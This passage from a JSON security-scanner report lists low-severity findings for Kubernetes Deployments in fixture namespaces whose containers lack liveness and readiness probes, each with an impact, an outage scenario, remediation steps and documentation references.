      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/psa-unlabeled-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:pv-hostpath-fixtures:pv-hostpath-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/pv-hostpath-fixtures/pv-hostpath-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/pv-hostpath-fixtures/pv-hostpath-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "pv-hostpath-app",
      "namespace": "pv-hostpath-fixtures",
      "api_group": "apps"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/pv-hostpath-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:rbac-fixtures:imp-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/rbac-fixtures/imp-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/rbac-fixtures/imp-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/imp-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:rbac-fixtures:wildcard-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/wildcard-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:statusspoof-fixtures:statusspoof-api:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/statusspoof-api` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:vulnerable:generic-hostpath-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` has neither a liveness nor a readiness probe",
    "description": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` does not declare a `livenessProbe` or a `readinessProbe`. Without either, the kubelet has no way to detect that the container has wedged (deadlocked thread, stuck on a missing dependency, infinite GC loop) and the Service endpoint controller has no way to know when the container is actually ready to serve traffic.\n\nThe two probes solve different problems and are not interchangeable. A `readinessProbe` controls Service endpoint membership: a failing probe pulls the pod out of the load balancer so the next request hits a healthy replica. A `livenessProbe` controls restart: a failing probe asks the kubelet to kill and restart the container so a wedged process recovers without manual intervention. The Pod Lifecycle docs are explicit that container processes exited correctly but stuck in an infinite loop will appear healthy to Kubernetes forever without probes.\n\nThe operational symptom is a workload that looks Running in `kubectl get pod` but black-holes requests in production. Users see HTTP 502s through the Service, every metric on the pod stays at zero, and the kubelet never restarts it. Add to that the rolling-update problem: without a readiness probe, Deployments treat the pod as Ready the moment the container starts, so new traffic hits a backend that has not finished its warmup (database connection pool, cache hydration, model loading) and a small fraction of requests fail every rollout.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Wedged containers stay in the load balancer indefinitely (no readiness probe) and never restart (no liveness probe), causing partial outages that survive every reboot and rolling update.",
    "attack_scenario": [
      "A regression in the app deployed via `Deployment/generic-hostpath-app` deadlocks one worker thread on a code path the unit tests do not cover.",
      "The container process is alive (no crash), so the kubelet's default \"PID 1 alive\" check passes and no liveness probe contradicts it.",
      "The pod remains in the Service endpoint set because nothing tells the endpoint controller otherwise. The load balancer keeps routing a share of requests to the wedged replica.",
      "Users see 502s for one in N requests across the duration of the incident. SLO error budget burns at the rate of `1/replicas`.",
      "On-call rolls a restart manually after triage. The next rollout reproduces the same partial outage because the same probe gap is still in the template."
    ],
    "evidence": {
      "container": "app",
      "missing_liveness_probe": true,
      "missing_readiness_probe": true
    },
    "remediation": "Add both a `livenessProbe` and a `readinessProbe` (HTTP, TCP, or exec) to container `app` and tune `initialDelaySeconds` to cover startup.",
    "remediation_steps": [
      "Identify the app's startup time (cold-start, including dependency hydration) and steady-state failure modes (what does \"wedged\" look like?).",
      "Add a `readinessProbe` that returns 200 only when the app is ready to serve real traffic (DB pool open, cache warmed, model loaded). For most HTTP apps, an `/healthz` endpoint that checks downstream dependencies is correct.",
      "Add a `livenessProbe` that is *strictly* less specific than the readiness probe (e.g. a tiny `/livez` endpoint that just returns 200). A liveness probe that depends on the same DB the app uses will restart the pod every time the DB hiccups, amplifying outages.",
      "Set `initialDelaySeconds` larger than the worst-case cold start. Use a `startupProbe` instead if startup time has high variance, so the liveness probe has a separate timer.",
      "Enforce at admission with Kyverno (`require-pod-probes`) or OPA Gatekeeper so future workloads cannot ship without probes."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes",
      "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Liveness, Readiness and Startup Probes",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Lifecycle: Probes",
        "url": "https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes"
      },
      {
        "title": "Google SRE — Liveness vs Readiness probes",
        "url": "https://cloud.google.com/blog/products/containers-kubernetes/kubernetes-best-practices-setting-up-health-checks-with-readiness-and-liveness-probes"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingProbes"
    ]
  },
  {
    "id": "KUBE-CONTAINER-PROBE-001:Deployment:vulnerable:host-ns-app:app",
    "rule_id": "KUBE-CONTAINER-PROBE-001",
    "severity": "LOW",
    "score": 3.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/vulnerable/host-ns-app` has neither a liveness nor a readiness probe",
